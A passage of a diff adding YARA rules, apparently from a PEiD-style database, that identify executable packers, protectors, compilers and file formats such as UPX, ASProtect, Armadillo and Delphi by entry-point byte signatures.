+		$0 = {BD 00 00 50 06 8C CB 03 DD 8C D2 4B 8E DB BE 4A 00 BF 00 07 8E C2 B9 08 00 F3 A5 4A 4D 75 EC 8B F7 8E DA 0E 07 06 16 BF 63 06 57 33 FF F9 CB 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 31 20 57 20 43 6F 6C 6C 69 73 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NET_executable_
+{
+	meta:
+		description = ".NET executable"
+	strings:
+		$0 = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+		$1 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_v20_
+{
+	meta:
+		description = "ASProtect v2.0"
+	strings:
+		$0 = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2C}
+		$1 = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ASProtect_11_BRS__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.1 BRS -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E9 ?? 05 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_v10__Brandon_LaCombe_
+{
+	meta:
+		description = "Packman v1.0 -> Brandon LaCombe"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B}
+		$1 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SuckStop_108_
+{
+	meta:
+		description = "SuckStop 1.08"
+	strings:
+		$0 = {4B 41 4F 54 5C EB 02 8E 7C BE 10 00 B4 30 CD 21 EB 0A 9B 00 00 00 00 00 BF 00 00 B9 3C 03 77 02 CD 20 4E 75 E7 6A 00 0E 6A 67 FE C3 CF AC 66 64 33 06 0C 00 66 65 2B 06 90 06 8C EA 03 C2 CF 32 C7 AA CF 57 69 6E 64 6F 77 73 20 73 75 78 78 21}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_121build0909_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.21.build.09.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+		$1 = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ExeLock_v100_
+{
+	meta:
+		description = "ExeLock v1.00"
+	strings:
+		$0 = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_SPx_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 SPx"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _TXT2COM_v206_
+{
+	meta:
+		description = "TXT2COM v2.06"
+	strings:
+		$0 = {8D 26 ?? ?? E8 ?? ?? B8 ?? ?? CD 21 CD 20 54 58 54 32 43 4F 4D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _XM_music_file_
+{
+	meta:
+		description = "XM music file"
+	strings:
+		$0 = {45 78 74 65 6E 64 65 64 20 4D 6F 64 75 6C 65 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _MASMTASM_Lenguaje_Compilador_
+{
+	meta:
+		description = "MASM/TASM (Lenguaje Compilador)"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_Visual_Cpp_v8_hgood_sig_but_is_it_MSVC_
+{
+	meta:
+		description = "MS Visual C++ v.8 (h-good sig, but is it MSVC?)"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v100d_
+{
+	meta:
+		description = "DIET v1.00d"
+	strings:
+		$0 = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+		$1 = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_R_Fulltext_index_file_
+{
+	meta:
+		description = "Microsoft (R) Full-text index file"
+	strings:
+		$0 = {6C 6C 2D 74 65 78 74 20 69 6E 64 65 78}
+	condition:
+		$0 at entrypoint
+}
+rule _PerlApp_602__ActiveState_
+{
+	meta:
+		description = "PerlApp 6.0.2 -> ActiveState"
+	strings:
+		$0 = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50}
+		$1 = {68 2C EA 40 00 FF D3 83 C4 0C 85 C0 0F 85 CD 00 00 00 6A 09 57 68 20 EA 40 00 FF D3 83 C4 0C 85 C0 75 12 8D 47 09 50 FF 15 1C D1 40 00 59 A3 B8 07 41 00 EB 55 6A 08 57 68 14 EA 40 00 FF D3 83 C4 0C 85 C0 75 11 8D 47 08 50 FF 15 1C D1 40 00 59 89 44 24 10 EB 33 6A 09 57 68 08 EA 40 00 FF D3 83 C4 0C 85 C0 74 22 6A 08 57 68 FC E9 40 00 FF D3 83 C4 0C 85 C0 74 11 6A 0B 57 68 F0 E9 40 00 FF D3 83 C4 0C 85 C0 75 55}
+		$2 = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF}
+		$3 = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3
+}
+rule _Turbo_C_10_1987_
+{
+	meta:
+		description = "Turbo C 1.0 (1987)"
+	strings:
+		$0 = {BA 00 01 2E 89 16 72 01 B4 30 00 00 8B 2E 02 00 8B 1E 2C 00 8E DA A3 86 00 8C 06 84 00 89 1E 80 00 89 2E 98 00 C7 06 8A 00 FF FF 8E C3 33 C0 B9 FF 7F 8B F8 8B D8 26 81 3D 38 37 75 1D 57 51 50 B0 3D F2 AE E3 11 26 8A 05 24 DF FF 06 8A 00 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _JExeCompressor_V10__UsAr_
+{
+	meta:
+		description = "JExeCompressor V1.0 -> UsAr"
+	strings:
+		$0 = {0F C8 0F CF C6 C4 8B 0F AC EA 99 0F AD D8 13 F5 0F BD EF 85 EF 85 DA 69 FE ?? ?? ?? ?? 21 F9 BE ?? ?? ?? ?? 23 CF 0F BC FE D2 DC 85 EF B9 ?? ?? ?? ?? C6 C0 F7 8D 35 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F BC C8 EB ?? C3 B8 ?? ?? ?? ?? 50}
+		$1 = {0F C8 0F CF C6 C4 8B 0F AC EA 99 0F AD D8 13 F5 0F BD EF 85 EF 85 DA 69 FE ?? ?? ?? ?? 21 F9 BE ?? ?? ?? ?? 23 CF 0F BC FE D2 DC 85 EF B9 ?? ?? ?? ?? C6 C0 F7 8D 35 ?? ?? ?? ?? 8D 0D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Kbys_Packer_028_Beta_shoooo314_
+{
+	meta:
+		description = "Kbys Packer 0.28 Beta-> shoooo314"
+	strings:
+		$0 = {68 85 AE 01 01 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_2x__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact 2.x -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v30_
+{
+	meta:
+		description = "Borland Delphi v3.0"
+	strings:
+		$0 = {83 ?? ?? 6A 00 FF 15 F8 10 0B B0 8D ?? ?? ?? 51 6A 08 6A 00 6A 00 68}
+		$1 = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0}
+		$2 = {55 8B EC 83 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$3 = {55 8B EC 83 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$4 = {55 8B EC 83 C4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _AcidCrypt_
+{
+	meta:
+		description = "AcidCrypt"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+		$1 = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+		$2 = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Safeguard_103__Simonzh_
+{
+	meta:
+		description = "Safeguard 1.03 -> Simonzh"
+	strings:
+		$0 = {E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1337_20070623__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.7 (2007.06.23) -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v13_
+{
+	meta:
+		description = "FSG v1.3"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+		$2 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+		$3 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE ?? 74 EF FE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3
+}
+rule _VProtector_V11X__vcasm_
+{
+	meta:
+		description = "VProtector V1.1X -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _YZPack_12__UsAr_
+{
+	meta:
+		description = "YZPack 1.2 --> UsAr"
+	strings:
+		$0 = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+		$1 = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_30__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_stub_
+{
+	meta:
+		description = "UPX Modified stub"
+	strings:
+		$0 = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+		$1 = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+		$2 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2A 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 56 89 FE 29 C6 F3 A4 5E EB 9F 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 FF D3 11 C9 FF D3 72 F8 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Unknown_packer_07_
+{
+	meta:
+		description = "Unknown packer (07)"
+	strings:
+		$0 = {8C C8 05 ?? ?? 50 B8 ?? ?? 50 B0 ?? 06 8C D2 06 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_22_PE_EXE_
+{
+	meta:
+		description = "Petite 2.2 [PE EXE]"
+	strings:
+		$0 = {B8 00 00 00 00 6A 00 68 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68 70 BC 00 00 6A 00 FF 50 1C 8B CC 8D A0 70 BC 00 00 89 61 2E 68 00 00 00 00 51 8B 7C 24 04 8B 33 66 81 C7 80 07 8D 74 1E 08 89 3B 53 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v10__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.0 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 D2 42 40 00 8B 42 3C 03 C2 89 85 DC 42 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D F0 42 40 00 53 8F 85 94 41 40 00 BB ?? 00 00 00 B9 8C 0B 00 00 8D BD 80 43 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 40 4E 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 FD 68 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrink_20_2_
+{
+	meta:
+		description = "Shrink 2.0 (2)"
+	strings:
+		$0 = {50 9C FC BE 27 01 8B FE 8C C8 05 00 10 8E C0 06 57 B9 41 00 F3 A4 8B 0E 23 01 BE 68 01 F3 A4 CB 00 00 00 00 BE 68 01 8B 0E 23 01 8A 26 25 01 1E 06 1F 07 BF 00 01 57 AC 3A C4 74 13 8A D8 AA E2 F6 5B 9D 58 06 53 8B D9 8B F1 8B F9 06 1F CB AC}
+	condition:
+		$0 at entrypoint
+}
+rule _XPEOR_v099b_
+{
+	meta:
+		description = "X-PEOR v0.99b"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+		$1 = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+		$2 = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _HACKSTOP_v118_
+{
+	meta:
+		description = "HACKSTOP v1.18"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+		$1 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Anti007_V25V26__LiuXingPing_
+{
+	meta:
+		description = "Anti007 V2.5-V2.6 -> LiuXingPing"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 57 72 69 74 65 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260b1_
+{
+	meta:
+		description = "Armadillo v2.60b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+		$1 = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_V540V542__Silicon_Realms_Toolworks__20080214_
+{
+	meta:
+		description = "Armadillo V5.40-V5.42 -> Silicon Realms Toolworks * 20080214"
+	strings:
